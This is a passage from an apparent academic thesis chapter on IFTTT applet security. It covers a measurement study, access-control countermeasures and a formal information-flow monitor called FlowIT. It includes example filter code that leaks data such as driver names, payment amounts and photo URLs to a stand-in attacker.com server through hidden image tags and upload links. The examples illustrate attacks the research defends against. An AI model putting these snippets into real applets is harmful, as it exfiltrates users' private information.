For instance, the trigger “Someone unknown has been seen” from Netatmo
Security service �res every time the security system detects someone un-
known at the device’s location. Preventing the owner of the device from
learning this information, e.g., through skip actions in the �lter code, might
allow a burglar to break in the user’s house. Therefore, this constitutes an
availability violation.

Figure 2.8 displays the security classi�cation for 1486 triggers (394 Pri-
vate, 219 Available, and 813 Public) for 33 IFTTT categories. As we can see,
triggers labeled as Private originate from categories such as connected car,
health & �tness, social networks, task management & to-dos, and so on. Fur-
thermore, triggers labeled as Available fall into di�erent categories of IoT de-
vices, e.g., security &monitoring systems, smart hubs & systems, or appliances.
Public labels consist of categories such as environment control & monitoring,
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Figure 2.9: Security classi�cation of IFTTT actions
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Action classification Further, we use three types of security labels to clas-
sify 891 actions: Public (159), Untrusted (272), and Available (460). Public
labels denote actions that allow to ex�ltrate information to a malicious ap-
plet maker, e.g., through image tags and links, as described in Section 2.3.
Untrusted labels allow malicious applet makers to change the integrity of the
actions’ information, e.g., by altering data to be saved to a Google Spread-
sheet. Available labels refer to applets whose action skipping a�ects the user
in some way.

Figure 2.9 presents our action classi�cation for 35 IFTTT categories. We
remark that such information is cumulative: actions labeled as Public are also
Untrusted and Available, and actions labeled as Untrusted are also Available.
In fact, for every action labeled Public, a malicious applet maker may leverage
the �lter code to either modify the action, or block it via skip commands. Un-
trusted actions, on the other hand, can always be skipped. We have noticed
that certain IoT service providers only allow user-chosen actions, possible
evidence for their awareness on potential integrity attacks. As reported in
Figure 2.9, Public actions using image tags and links appear in IFTTT cate-
gories such as social networks, cloud storage, email or bookmarking, and Un-
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trusted actions appear in many IoT-related categories such as environment
control & monitoring, security & monitoring systems, or smart hubs & systems.

Results Our analysis shows that 35% of IFTTT applets use Private triggers
and 88% use Public actions. Moreover, 98% of IFTTT applets use actions
labeled as Untrusted.

2.4.3 Analyzing IFTTT applets

We use the security classi�cation for triggers and actions to study public
applets on the IFTTT platform and identify potential security and privacy
risks. More speci�cally, we evaluate the number of privacy violations (inse-
cure �ows from Private triggers to Public actions), integrity violations (inse-
cure �ows from all triggers to Untrusted actions), and availability violations
(insecure �ows from Available triggers to Available actions). The analysis
shows that 30% of IFTTT applets from our dataset are susceptible to privacy
violations, and they are installed by circa 8 million IFTTT users. Moreover,
we observe that 99% of these applets are designed by third-party makers,
i.e., applet makers other than IFTTT or o�cial service vendors. We remark
that this is a very serious concern due to the stealthy nature of the attacks
against applets’ users (cf. Section 2.3). We also observe that 98% of the applets
(installed by more than 18 million IFTTT users) are susceptible to integrity
violations and 0.5% (1461 applets) are susceptible to availability violations.
While integrity and availability violations are not stealthy, they can cause
damage to users and devices, e.g., by manipulating the information stored
on a Google Spreadsheet or by temporarily disabling a surveillance camera.

Privacy violations Figure 2.10 displays the heatmap of IFTTT applets with
Private triggers (x-axis) and Public actions (y-axis) for each category. The
color of a trigger-action category pair indicates the percentage of applets
susceptible to privacy violations, as follows: red indicates 100% of the ap-
plets, while bright yellow indicates less than 20% of the applets. We observe
that the majority of vulnerable applets use Private triggers from social net-
works, email, location, calendars & scheduling and cloud storage, and Public
actions from social networks, cloud storage, email, and notes. The most fre-
quent combinations of Private trigger-Public action categories are social net-
works-social networks with 27,716 applets, social networks-cloud storage with
5,163 applets, social networks-blogging with 4,097 applets, and email-cloud
storage with 2,330 applets, with a total of ~40,000 applets. Table 2.3 in the
Appendix reports popular IFTTT applets by third-party makers susceptible
to privacy violations.
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Figure 2.10: Heatmap of privacy violations
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Integrity violations Similarly, Figure 2.11 displays the heatmap of applets
susceptible to integrity violations. In contrast to privacy violations, more
IFTTT applets are potentially vulnerable to integrity violations, including
di�erent categories of IoT devices, e.g., environment control & monitoring,
mobile devices & accessories, security & monitoring systems, and voice assis-
tants. Interesting combinations of triggers-Untrusted actions are calendars &
scheduling-noti�cations with 3,108 applets, voice assistants-noti�cations with
547 applets, environment control & monitoring-noti�cations with 467 applets,
and smart hubs & systems-noti�cations with 124 applets.

Availability violations Finally, we analyze the applets susceptible to avail-
ability violations. The results show that many existing applets in the cate-
gories of security & monitoring systems, smart hubs & systems, environment
control & monitoring, and connected car could potentially implement such
attacks, and may harm both users and devices. Table 2.4 in the Appendix
displays popular IoT applets by third-party makers susceptible to integrity
and availability violations.
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Figure 2.11: Heatmap of integrity violations
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2.5 Countermeasures: breaking the flow

The attacks in Section 2.3 demonstrate that the access control mechanism im-
plemented by the IFTTT platform can be circumvented by malicious applet
makers. The root cause of privacy violations is the �ow of information from
private sources to public sinks, as leveraged by URL-based attacks. Further-
more, full trust in the applet makers to manipulate user data correctly enables
integrity and availability attacks. Additionally, the use of shortened URLs
with short random strings served over HTTP opens up for brute-force pri-
vacy and integrity attacks. This section discusses countermeasures against
such attacks, based on breaking insecure �ows through tighter access con-
trols. Our suggested solutions are backward compatible with the existing
IFTTT model.

2.5.1 Per-applet access control

We suggest a per-applet access control policy to either classify an applet as
private or public and thereby restrict its sources and sinks to either exclu-
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sively private or exclusively public data. As such, this discipline breaks the
�ow from private to public, thus preventing privacy attacks.

Implementing such a solution requires a security classi�cation for trig-
gers and actions similar to the one proposed in Section 2.4.2. The classi�ca-
tion can be de�ned by service providers and communicated to IFTTT during
service integration with the platform. IFTTT exposes a well-de�ned API to
the service providers to help them integrate their online service with the
platform. The communication is handled via REST APIs over HTTP(S) using
JSON or XML. Alternatively, the security classi�cation can be de�ned di-
rectly by IFTTT, e.g., by checking if the corresponding service requires user
authorization/consent. This would enable automatic classi�cation of services
such as Weather and Location as public and private, respectively.

URL attacks in private applets can be prevented by ensuring that ap-
plets cannot build URLs from strings, thus disabling possibilities of linking
to attacker’s server. This can be achieved by providing safe output encod-
ing through sanitization APIs such that the only way to include links or im-
age markup on the sink is through the use of API constructors generated
by IFTTT. For the safe encoding not to be bypassed in practice, we suggest
using a mechanism similar to CSRF tokens, where links and image markups
include a random nonce (from a set of nonces parameterized over), so that
the output encoding mechanism sanitizes away all image markups and links
that do not have the desired nonce. Moreover, custom images like logos in
email noti�cations can still be allowed by delegating the choice of external
links to the users during applet installation, or disabling their access in the
�lter code. On the other hand, generating arbitrary URLs in public applets
can still be allowed.

Integrity and availability attacks can be prevented in a similar fashion by
disabling the access to sensitive actions via JavaScript in the �lter code, or in
hidden ingredient parameters, and delegating the action’s choice to the user.
This would prevent integrity attacks on surveillance cameras through reset-
ting the recording time, and availability attacks on baby monitors through
disabling the noti�cation action.

2.5.2 Authenticated communication

IFTTT uses Content Delivery Networks (CDN), e.g., IFTTT or Facebook servers,
to store images, videos, and documents before passing them to the corre-
sponding services via public random URLs. As shown in Section 2.3, the
disclosure of such URLs allows for upload attacks. The gist of URL upload
attacks is the unauthenticated communication between IFTTT and the ac-
tion’s service provider at the time of upload. This enables the attacker to
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provide the data to the action’s service in a stealthy manner. By authenticat-
ing the communication between the service provider and CDN, the upload
attack could be prevented. This can be achieved by using private URLs which
are accessible only to authenticated services.

2.5.3 Unavoidable public URLs

As mentioned, we advocate avoiding randomized URLs whenever possible.
For example, an email with a location map may actually include an embedded
image rather than linking to the image on a CDN via a public URL. However,
if public URLs are unavoidable, we argue for the following countermeasures.

Lifetime of public URLs Our experiments indicate that IFTTT stores in-
formation on its own CDN servers for extended periods of time. In scenarios
like linking an image location map in an email prematurely removing the
linked resource would corrupt the email message. However, in scenarios like
photo backup on Google Drive, any lifetime of the image �le on IFTTT’s CDN
after it has been consumed by Google Drive is unjusti�ed. Long lifetime is
con�rmed by high rates of success with brute forcing URLs. A natural coun-
termeasure is thus, when possible, to shorten the lifetime of public URLs,
similar to other CDN’s like Facebook.

URL shortening Recall that URLs with 6-digit random strings are subject
to brute force attacks that expose users’ private information. By increas-
ing the size of random strings, brute force attacks become harder to exploit.
Moreover, a countermeasure of using URLs over HTTPS rather than HTTP
can ensure privacy and integrity with respect to a network attacker.

2.6 Countermeasures: Tracking the flow

The access control mechanism from the previous section breaks insecure
�ows either by disabling the access to public URLs in the �lter code or by
delegating their choice to the users at the time of applet’s installation. How-
ever, the former may hinder the functionality of secure applets. An applet
that manipulates private information while it also displays a logo via a public
image is secure, as long the public image URL does not depend on the pri-
vate information. Yet, this applet is rejected by the access control mechanism
because of the public URL in the �lter code. The latter, on the other hand,
burdens the user by forcing them to type the URL of every public image they
use.

Further, on-going and future developments in the domain of IoT apps,
like multiple actions, triggers, and queries for conditional triggering [28],
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call for tracking information �ow instead. For example, an applet that ac-
cesses the user’s location and iOS photos to share on Facebook a photo from
the current city is secure, as long as it does not also share the location on
Facebook. To provide the desired functionality, the applet needs access to
the location, iOS photos and Facebook, yet the system should track that such
information is propagated in a secure manner.

To be able track information �ow to URLs in a precise way, we rely on
a mechanism for safe output encoding through sanitization, so that the only
way to include links or image markup on the sink is through the use of API
constructors generated by IFTTT. This requirement is already familiar from
Section 2.5.

This section outlines types of �ow that may leak information (Section 2.6.1),
presents a formal model to track these �ows by a monitor (Section 2.6.2), and
establishes the soundness of the monitor (Section 2.6.3).

2.6.1 Types of flow

There are several types of �ow that can be exploited by a malicious applet
maker to infer information about the user private data.

Explicit In an explicit [8] �ow, the private data is directly copied into a vari-
able to be later used as a parameter part in a URL linking to an attacker-
controlled server, as in Figures 2.2 and 2.3.

Implicit An implicit [8] �ow exploits the control �ow structure of the pro-
gram to infer sensitive information, i.e. branching or looping on sensitive
data and modifying “public” variables.

Example 2.1.

var rideMap = Uber.rideCompleted.TripMapImage
var driver = Uber.rideCompleted.DriverName
for (i = 0; i < driver.len; i++) {
for (j = 32; j < 127; j++) {
t = driver[i] == String.fromCharCode(j)
if (t) { dst[i] = String.fromCharCode(j) }

}
}
var img = '<img src=\"https://attacker.com?' + dst + '\"style=\"

width:0px;height:0px;\">'
Email.SendAnEmail.setBody(rideMap + img)

The �lter code above emails the user the map of the Uber ride, but it
sends the driver name to the attacker-controlled server.
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Presence Triggering an applet may itself reveal some information. For ex-
ample, a parent using an applet notifying when their kids get home, such as
“Get an email alert when your kids come home and connect to Almond” [2]
may reveal to the applet maker that the applet has been triggered, and (pos-
sibly) kids are home alone.

Example 2.2.
var logo = '<img src=\"logo.com/350x150" style=\"witdh=100px;height

=100px;\">'
Email.sendMeEmail.setBody("Your kids got home." + logo)

Timing IFTTT applets are run with a timeout. If the �lter code’s execution
exceeds this internal timeout, then the execution is aborted and no output
actions are performed.

Example 2.3.
var img = '<img src=\"https://attacker.com' + '\"style=\"width:0px;

height:0px;\">'
var n = parseInt(Stripe.newPayment.Amount)
while (n > 0) { n-- }
GoogleSheets.appendToGoogleSpreadsheet.setFormattedRow('New Stripe

payment' + Stripe.newPayment.Amount + img)

The code above is based on applet “Automatically log new Stripe pay-
ments to a Google Spreadsheet” [46]. Depending on the value of the payment
made via Stripe, the code may timeout or not, meaning the output action may
be executed or not. This allows the malicious applet maker to learn informa-
tion about the paid amount.

2.6.2 Formal model

Language To model the essence of �lter functionality, we focus on a simple
imperative core of JavaScript extended with APIs for sources and sinks (Fig-
ure 2.12). The sources source denote trigger-based APIs for reading user’s
information, such as location or �tness data. The sinks sink denote action-
based APIs for sending information to services, such as email or social net-
works.

We assume a typing environment Γ mapping variables and sinks to se-
curity labels `, with ` ∈ L, where (L,v) is a lattice of security labels. For
simplicity, we further consider a two-point lattice for low and high security
L = ({L,H},v), with L v H and H @ L. For privacy, L corresponds to public
and H to private.

Expressions e consist of variables l, strings s and concatenation opera-
tions on strings, sources, function calls f , and primitives for link-based con-
structs link, split into labeled constructs linkL and linkH for creating privately
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e ::= s | l | e+ e | source | f (e) | linkL(e) | linkH(e)
c ::= skip | stop | l = e | c;c | if (e) {c} else {c} | while (e) {c} |

sink(e)

Figure 2.12: Filter syntax

and publicly visible links, respectively. Examples of link constructs are the
image constructor img(·) for creating HTML image markups with a given
URL and the URL constructor url(·) for de�ning upload links. We will re-
turn to the link constructs in the next subsection.

Commands c include action skipping, assignments, conditionals, loops,
sequential composition, and sinks. A special variable out stores the value to
be sent on a sink.

Skip set S Recall that IFTTT allows for applet actions to be skipped inside
the �lter code, and when skipped, no output corresponding to that action
will take place. We de�ne a skip set S : A 7→ Bool mapping �lter actions to
booleans. For an action o ∈ A, S(o) = tt means that the action was skipped
inside the �lter code, while S(o) = ff means that the action was not skipped,
and the value output on its corresponding sink is either the default value
(provided by IFTTT), or the value speci�ed inside the �lter code. Initially, all
actions in a skip set map to ff .

Black- and whitelisting URLs Private information can be ex�ltrated thro-
ugh URL crafting or upload links, by inspecting the parameters of requests
to the attacker-controlled servers that serve these URLs. To capture the at-
tacker’s view for this case, we assume a set V of URL values split into the
disjoint union V = B]W of black- and whitelisted values. For specifying
security policies, it is more suitable to reason in terms of whitelist W , the set
complement of B. The whitelistW contains trusted URLs, which can be gen-
erated automatically based on the services and ingredients used by a given
app.

Projection to B Given a list v̄ of URL values, we de�ne URL projection to
B to obtain the list of blacklisted URLs contained in the list.

∅|B = ∅ (v :: v̄)|B =

v :: v̄|B if v ∈ B
v̄|B if v < B

For a given string, we further de�ne extractURLs(·) for extracting all
the URLs inside the link construct link of that string. We assume the extrac-
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Expression evaluation:

〈e,m,Γ 〉pc ⇓ s Γ (e) = L = pc

〈linkL(e),m,Γ 〉pc ⇓ elinkL(s)
〈e,m,Γ 〉pc ⇓ s s|B = ∅
〈linkH(e),m,Γ 〉pc ⇓ elinkH(s)

Command evaluation:
skip

1 ≤ j ≤ |S | S(oj ) = ff ⇒ pc = L

〈skipj ,m,S,Γ 〉pc→1 〈stop,m,S[oj 7→ tt],Γ 〉

sink
1 ≤ j ≤ |S | S(oj ) = tt⇒m′ =m∧ Γ ′ = Γ

S(oj ) = ff ⇒ pc v Γ (outj )∧ (pc = H⇒m(outj )|B = ∅) ∧
m′ =m[outj 7→m(e)]∧ Γ ′ = Γ [outj 7→ pct Γ (e)]
〈sinkj(e),m,S,Γ 〉pc→1 〈stop,m′ ,S,Γ ′〉

|S | denotes the length of set S .

Figure 2.13: Monitor semantics (selected rules)

tion to be done similarly to the URL extraction performed by a browser or
email client, and to return an order-preserving list of URLs. The function
extends to unde�ned strings as well (⊥), for which it simply returns ∅. For a
string s we often write s|B as syntactic sugar for extractURLs(s)|B.

Semantics We now present an instrumented semantics to formalize an in-
formation �ow monitor for the �lter code. The monitor draws on expression
typing rules, depicted in Figure 2.15 in Appendix 2.A. We assume informa-
tion from sources to be sanitized, i.e. it cannot contain any blacklisted URLs,
and we type calls to source with a high type H.

We display selected semantic rules in Figure 2.13, and refer to Figure 2.16
in Appendix 2.A for the remaining rules.

Expression evaluation For evaluating an expression, the monitor requires
a memory m mapping variables l and sink variables out to strings s, and a
typing environment Γ . The typing context or program counter pc label is H
inside of a loop or conditional whose guard involves secret information and
is L otherwise. Whenever pc and Γ are clear from the context, we use the
standard notation m(e) = s to denote expression evaluation, 〈e,m,Γ 〉pc ⇓ s.

Except for the link constructs, the rules for expression evaluation are
standard. We use two separate rules for expressions containing blacklisted
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URLs and whitelisted URLs. We require that no sensitive information is ap-
pended to blacklisted values. The intuition behind this is that a benign applet
maker will not try to ex�ltrate user sensitive information by specially craft-
ing URLs (as presented in Section 2.3), while a malicious applet maker should
be prevented from doing exactly that. To achieve this, we ensure that when
evaluating linkH(e), e does not contain any blacklisted URLs, while when
evaluating linkL(e), the type of e is low. Moreover, we require the program
context in which the evaluation takes place to be low as well, as otherwise
the control structure of the program could be abused to encode information,
as in Example 2.4.

Example 2.4.
if (H) { logo = linkL(b1); }
else { logo = linkL(b2); }
sink(logo);

Depending on a high guard (denoted by H), the logo sent on the sink can
be provided either from blacklisted URL b1 or b2. Hence, depending on the
URL to which the request is made, the attacker learns which branch of the
conditional was executed.

Command evaluation A monitor con�guration 〈c,m,S,Γ 〉 extends the stan-
dard con�guration 〈c,m〉 consisting of a command c and memory m, with a
skip set S and a typing environment Γ . The �lter monitor semantics (Fig-
ure 2.13) is then de�ned by the judgment 〈c,m,S,Γ 〉pc →n 〈c′ ,m′ ,S ′ ,Γ ′〉,
which reads as: the execution of command c in memorym, skip set S , typing
environment Γ , and program context pc evaluates in n steps to con�guration
〈c′ ,m′ ,S ′ ,Γ ′〉. We denote by 〈c,m,S,Γ 〉pc →∗  a blocking monitor execu-
tion.

Consistently with IFTTT �lters’ behavior, commands in our language are
batch programs, generating no intermediate outputs. Accordingly, variables
out are overwritten at every sink invocation (rule sink). We discuss the
selected semantic rules below.

Rule skip Though sometimes useful, action skipping may allow for avail-
ability attacks (Section 2.3) or even other means of leaking sensitive data.

Example 2.5.
sinkj(linkL(b));
if (H) { skipj; }

Consider the �lter code in Example 2.5. The snippet �rst sends on the
sink an image from a blacklisted URL or an upload link with a blacklisted
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URL, allowing the attacker to infer that the applet has been run. Then, de-
pending on a high guard, the action corresponding to the sink may be skipped
or not. An attacker controlling the server serving the blacklisted URL will
be able to infer information about the sensitive data whenever a request is
made to the server.

Example 2.6.
if (H) { skipj; }
sinkj(linkL(b));

Similarly, �rst skipping an action in a high context, followed by adding
a blacklisted URL on the sink (Example 2.6) also reveals private information
to a malicious applet maker.

Example 2.7.
skipj;
if (H) { sinkj(linkL(b)); }

However, �rst skipping an action in a low context and then (possibly)
updating the value on the sink in a high context (Example 2.7) does not reveal
anything to the attacker, as the output action is never performed.

Thus, by allowing action skipping in high contexts only if the action had
already been skipped, we can block the execution of insecure snippets in Ex-
amples 2.5 and 2.6, and accept the execution of secure snippet in Example 2.7.

Rule sink In sink rule we �rst check whether or not the output action has
been skipped. If so, we do not evaluate the expression inside the sink state-
ment in order to increase monitor permissiveness. Since the value will never
be output, there is no need to evaluate an expression which may lead to the
monitor blocking an execution incorrectly. Consider again the secure code
in Example 2.7. The monitor would normally block the execution because of
the low link which is sent on the sink in a high context. In fact, low links
are allowed only in low contexts. However, since the action was previously
skipped, the monitor will also skip the sink evaluation and thus accept the
execution. Had the action not been skipped, the monitor would have ensured
that no updates of sinks containing blacklisted values take place in high con-
texts.

Example 2.8.
sink(imgL(b) + imgH(w));
if (H) { sink(imgH(source)); }
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Consider the �lter code in Example 2.8. First, two images are sent on
the sink, one from a blacklisted URL, and the other from a whitelisted URL.
Note that the link construct has been instantiated with an image construct
for image markup with a given URL. Depending on the high guard, the value
on the sink may be updated or not. Hence, depending on whether or not a
request to the blacklisted URL is made, a malicious applet maker can infer
information about the high data in H.

Trigger-sensitive applets Recall the presence �ow example in Section 2.6.1,
where a user receives a noti�cation when their kids arrive home. Together
with the noti�cation, a logo (possibly) originating from the applet maker
is also sent, allowing the applet maker to learn if the applet was triggered.
Despite leaking only one bit of information, i.e., whether some kids arrived
home, some users may �nd it as sensitive information. To allow for these
cases, we extend the semantic model with support for trigger-sensitive ap-
plets.

Presence projection function In order to distinguish between trigger-sen-
sitive applets and trigger-insensitive applets, we de�ne a presence projection
functionπwhich determines whether triggering an applet is sensitive or not.
Thus, for an input i that triggers an applet, π(i) = L (π(i) = H) means that
triggering the applet can (not) be visible to an attacker.

Based on the projection function, we de�ne input equivalence. Two in-
puts i and j are equivalent (written i ≈ j) if either their presence is low, or if
their presence is high, then they are equivalent to the empty event ε.

π(i) = H

i ≈ ε
π(i) = L π(j) = L

i ≈ j

Applets as reactive programs A reactive program is a program that waits
for an input, runs for a while (possibly) producing some outputs, and �nally
returns to a passive state in which it is ready to receive another input [5]. As
a reactive program, an applet responds with (output) actions when an input
is available to set o� its trigger.

We model the applets as event handlers that accept an input i to a trigger
t(x), (possibly) run �lter code c after replacing the parameter xwith the input
i, and produce output messages in the form of actions o on sinks sink.

For the applet semantics, we distinguish between trigger-sensitive ap-
plets and trigger-insensitive applets (Figure 2.14). In the case of a trigger-
insensitive applet, we execute the �lter semantics by enforcing information
�ow control via rule Applet-Low, as presented in Figure 2.13. In line with
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Syntax:

a ::= t(x){c;o1(sink1), . . . , on(sinkn)}

Monitor semantics:

Applet-Low
π(i) = L 〈c[i/x],m0,S0,Γ0〉L→n 〈stop,m,S,Γ 〉 n ≤ timeout

〈t(x){c;o1(sink1), . . . , ok(sinkk)}〉
i→ {oj(m(outj )) | S(oj ) 7→ ff }

Applet-High
π(i) = H 〈c[i/x],m0,S0〉 →n 〈stop,m,S〉
n ≤ timeout S(oj ) = ff ⇒m(outj )|B = ∅

〈t(x){c;o1(sink1), . . . , ok(sinkk)}〉
i→ {oj(m(outj )) | S(oj ) 7→ ff }

Figure 2.14: Applet monitor

IFTTT applet functionality, we ignore outputs on sinks whose actions were
skipped inside the �lter code.

If the applet is trigger-sensitive, we execute the regular �lter semantics
with no information �ow restrictions, while instead requiring no blacklisted
URLs on the sinks (rule Applet-High). Label propagation and enforcing in-
formation �ow is not needed in this case, as an attacker will not be able to
infer any observations on whether the applet was triggered or not.

Termination Trigger-sensitive applets may help against leaking informa-
tion through the termination channel. Recall the �lter code in Example 2.3
that would possibly timeout depending on the amount transferred using Stripe.
In line with IFTTT applets which are executed with a timeout, we model ap-
plet termination by counting the steps in the �lter semantics. If the �lter
code executes in more steps than allowed by the timeout, the monitor blocks
the applet execution and no outputs are performed.

2.6.3 Soundness

Projected noninterference We now de�ne a security characterization that
captures what it means for �lter code to be secure. Our characterization
draws on the baseline condition of noninterference [7, 16], extending it to rep-
resent the attacker’s observations in the presence of URL-enriched markup.

String equivalence We use the projection to B relation from Section 2.6.2
to de�ne string equivalence with respect to a set of blacklisted URLs. We say
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two strings s1 and s2 are equivalent and we write s1 ∼B s2 if they agree on
the lists of blacklisted values they contain. More formally, s1 ∼B s2 i� s1|B =
s2|B. Note that projecting to B returns a list and the equivalence relation on
strings requires the lists of blacklisted URLs extracted from them to be equal,
pairwise.

Memory equivalence Given a typing environment Γ , we de�ne memory
equivalence with respect to Γ and we write ∼Γ if two memories are equal on
all low variables in Γ : m1 ∼Γ m2 i� ∀l. Γ (l) = L⇒m1(l) =m2(l).

Projected noninterference Equipped with string and memory equivalence,
we de�ne projected noninterference. Intuitively, a command satis�es pro-
jected noninterference if and only if for any two runs that start in memories
agreeing on the low part and produce two respective �nal memories, the �-
nal memories are equivalent for the attacker on the sink. The de�nition is
parameterized on a set B of blacklisted URLs.

De�nition 1 (Projected noninterference). Command c, input i1, memory
m1, typing environment Γ , and URL blacklistB, such that 〈c,m1〉 →∗ 〈stop,m′1〉,
satis�es projected noninterference if for any input i2 and memorym2 such that
i1 ≈ i2, m1 ∼Γ m2, and 〈c,m2〉 →∗ 〈stop,m′2〉, m

′
1(out) ∼B m

′
2(out).

Soundness theorem We prove that our monitor enforces projected nonin-
terference. The proof is reported in Appendix 2.B.

Theorem 2.1 (Soundness). Given command c, input i1, memory m1, typing
environment Γ , program context pc, skip set S , and URL blacklist B such that
〈c[i1/x],m1,S,Γ 〉pc 9∗  , con�guration 〈c[i1/x],m1,S,Γ 〉pc satis�es projected
noninterference.

2.7 FlowIT

We implement our monitor, FlowIT, as an extension of JSFlow [21], a dy-
namic information �ow tracker for JavaScript, and evaluate the soundness
and permissiveness on a collection of 60 IFTTT applets.

2.7.1 Implementation

We parameterize the JSFlow monitor with a set B of blacklisted values and
extend the context with a set S of skip actions. The set B is represented as an
array of strings, where each string denotes a blacklisted value, whereas the
set S is represented as an array of triples (action, skip, sink), where action

is a string denoting the actions’ name, skip is a boolean denoting if the action
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was skipped or not, and sink is a labeled value specifying the current value
on the sink. Initially, all skips map to false and all sinks map to null.

We extend the syntax with two APIs skip/1 and sink/3, for skipping ac-
tions and sending values on a sink, respectively. The API skip/1 takes as
argument a string denoting an action name in S and sets its corresponding
skip boolean to true. The API sink/3 takes as argument a string denoting an
action name in S , an action ingredient, and a value to be sent on the sink, and
it updates its corresponding sink value with the string obtained by evaluating
its last argument.

We further extend the syntax with two constructs for creating HTML im-
age markups with a given URL imgl/1 and imgh/1, and with two constructs
for de�ning upload links urll/1 and urlh/1. The monitor then ensures that
whenever a construct linkl is created the current pc and the label of the argu-
ment are both low, and for each construct linkh no elements inB are contained
in the string its argument evaluates to.

Consider Example 2.9 where we rewrite the URL upload attack from Fig-
ure 2.2 in the syntax of our extended JSFlow monitor.

Example 2.9 (Privacy attack from Figure 2.2).
1 publicPhotoURL = lbl(encodeURIComponent('IosPhotos.

newPhotoInCameraRoll.PublicPhotoURL'))
2 attack = urll("www.attacker.com?" + publicPhotoURL)
3 sink('GoogleDrive.uploadFileFromUrlGoogleDrive', 'setUrl', attack)

Here, lbl/1 is an original JSFlow function for assigning a high label to a
value. Instead of the actual user photo URL, we use the string 'IosPhotos.

newPhotoInCameraRoll.PublicPhotoURL', while for specifying the value on the
sink, we update the sink attribute of action
'GoogleDrive.uploadFileFromUrlGoogleDrive' with variable attack.

The execution of the �lter code is blocked by the monitor due to the illegal
use of construct urll in line 2. Removing this line and sending on the sink
only the photo URL, as in sink('GoogleDrive.uploadFileFromUrlGoogleDrive

', 'setUrl', publicPhotoURL), results in a secure �lter code accepted by the
monitor.

Trigger-sensitive applets For executing �lter code originating from trigger-
sensitive applets, we allow JSFlow to run with the �ag sensitive. When
present, the monitor blocks the execution of �lters attempting to send black-
listed values on the sink. To be in line with rule Applet-High, which exe-
cutes the �lter with no information �ow restrictions, all variables in the �lter
code should be labeled low.
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2.7.2 Evaluation

Focusing on privacy, we evaluate the information �ow tracking mechanism
of FlowIT on a collection of 60 applets. Due to the closed source nature
of applet’s code, the benchmarks are a mixture of �lter code gathered from
forums or recreated by modeling existing applets.

From the 60 applets, 30 are secure and 30 insecure, with a secure and
insecure version for each applet scenario. 10 applets were considered trigger-
sensitive, while the rest were assumed to be trigger-insensitive.

Table 2.5 summarizes the results of our evaluation. Indicating the se-
curity of the tool, false negatives are insecure programs that the tool would
classify as secure. Conversely, indicating the permissiveness of the tool, false
positives are secure programs that the tool would reject. No false negatives
were reported, and only one false positive is observed on the “arti�cial” �lter
code in Example 2.10.

Example 2.10.
if (H) { skip; }
else { skip; }
sink(linkL(b));

The example is secure, as it always skips the action, irrespective of the
value of high guard H. However, the monitor blocks the �lter execution due
to the action being skipped in high context.

The benchmarks are available for further experiments [3].

2.8 Related work

IFTTT Our interest in the problem of securing IoT apps is inspired by Sur-
batovich et al. [45], who study a dataset of 19,323 IFTTT recipes (predecessor
of applets before November 2016), de�ne a four-point security lattice and
provide a categorization of potential secrecy and integrity violations with
respect to this lattice. They focus solely on access to sources and sinks but
not on actual �ows emitted by applets, and study the risks that users face
by granting permissions to IFTTT applets on services with di�erent security
levels. In contrast, we consider users’ permissions as part of their privacy
policy, since they are granted explicitly by the user. Yet, we show that applets
may still leak sensitive information through URL-based attacks. Moreover,
we propose short- and longterm countermeasures to prevent the attacks.

Mi et al. [36] conduct a six-month empirical study of the IFTTT ecosys-
tem with the goal of measuring the applets’ usage and execution performance
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on the platform. Ur et al. [47, 48] study the usability, human factors and per-
vasiveness of IFTTT applets, and Huang at al. [22] investigate the accuracy
of users’ mental models in trigger-action programming. He et al. [19] study
the limitations of access control and authentication models for the Home IoT,
and they envision a capability-based security model. Drawing on an exten-
sion of the dataset by Mi et al. [36], we focus on security and privacy risks
in the IoT platforms.

Fernandes et al. [11] present FlowFence, an approach to information �ow
tracking for IoT application frameworks. In recent work, Fernandes et al. [12]
argue that IFTTT’s OAuth-based authorization model gives away overpriv-
ileged tokens. They suggest �ne-grained OAuth tokens to limit privileges
and thus prevent unauthorized actions. Limiting privileges is an important
part of IFTTT’s access control model, complementing our goals that access
control cannot be bypassed by insecure information �ow. Recently, Celik et
al. [6] propose a static taint analysis tool for analyzing privacy violations in
IoT applications. Kang et al. [34] focus on design-level vulnerabilities in pub-
licly deployed systems and �nd a CSRF attack in IFTTT. Nandi and Ernst [38]
use static analysis to detect programming errors in rule-based smart homes.
Both these works are complementary to ours.

URL a�acks The general technique of ex�ltrating data via URL parameters
has been used for bypassing the same-origin policy in browsers by malicious
third-party JavaScript (e.g., [49]) and for ex�ltrating private information from
mobile apps via browser intents on Android (e.g, [50, 51]). The URL markup
and URL upload attacks leverage this general technique for the setting of IoT
apps. To the best of our knowledge, these classes of attacks have not been
studied previously in the context of IoT apps.

Efail by Poddebniak et al. [41] is related to our URL markup attacks. They
show how to break S/MIME and OpenPGP email encryption by maliciously
crafting HTML markup in an email to trick email clients into decrypting and
ex�ltrating the content of previously collected encrypted emails. While in
our setting the ex�ltration of sensitive data by malicious applet makers is
only blocked by clients that refuse to render markup (and not blocked at all
in the case of URL upload attacks), efail critically relies on speci�c vulnera-
bilities in email clients to be able to trigger malicious decryption.

Observational security The literature has seen generalizations of nonin-
terference to selective views on inputs/outputs, ranging from Cohen’s work
on selective dependency [7] to PER-based model of information �ow [42]
and to Giacobazzi and Mastroeni’s abstract noninterference [15]. Bielova et
al. [4] use partial views for inputs in a reactive setting. Greiner and Grahl [18]
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express indistinguishability by attacker for component-based systems via
equivalence relations. Murray et al. [37] de�ne value-sensitive noninterfer-
ence for compositional reasoning in concurrent programs. Value-sensitive
noninterference emphasizes value-sensitive sources, as in the case of treat-
ing the security level of an input bu�er or �le depending on its runtime se-
curity label, enabling declassi�cation policies to be value-dependent. Like
value-sensitive noninterference, projected noninterference builds on the line
of work on partial indistinguishability to express value-sensitive sinks in a
setting with URL-enriched output. Sen et al. [43] describe a system for pri-
vacy policy compliance checking in Bing. The system’s GROK component
can be leveraged to control how sensitive data is used in URLs. GROK is fo-
cused on languages with support for MapReduce, with no global state and
limited control �ows. Investigating connections of our framework and GROK
is an interesting avenue for future work.

2.9 Conclusion

We have investigated the problem of securing IoT apps, as represented by the
popular IFTTT platform and its competitors Zapier and Microsoft Flow. We
have demonstrated that two classes of URL-based attacks can be mounted
by malicious applet developers in order to ex�ltrate private information of
unsuspecting users. These attacks raise concerns because users often trust
IoT applets to access sensitive information like private photos, location, �t-
ness information, and private social network feeds. Our measurement study
on a dataset of 279,828 IFTTT applets indicates that 30% of the applets may
violate privacy in the face of the currently deployed access control.

We have proposed short- and longterm countermeasures. The former is
compatible with the current access control model, extending it to require per-
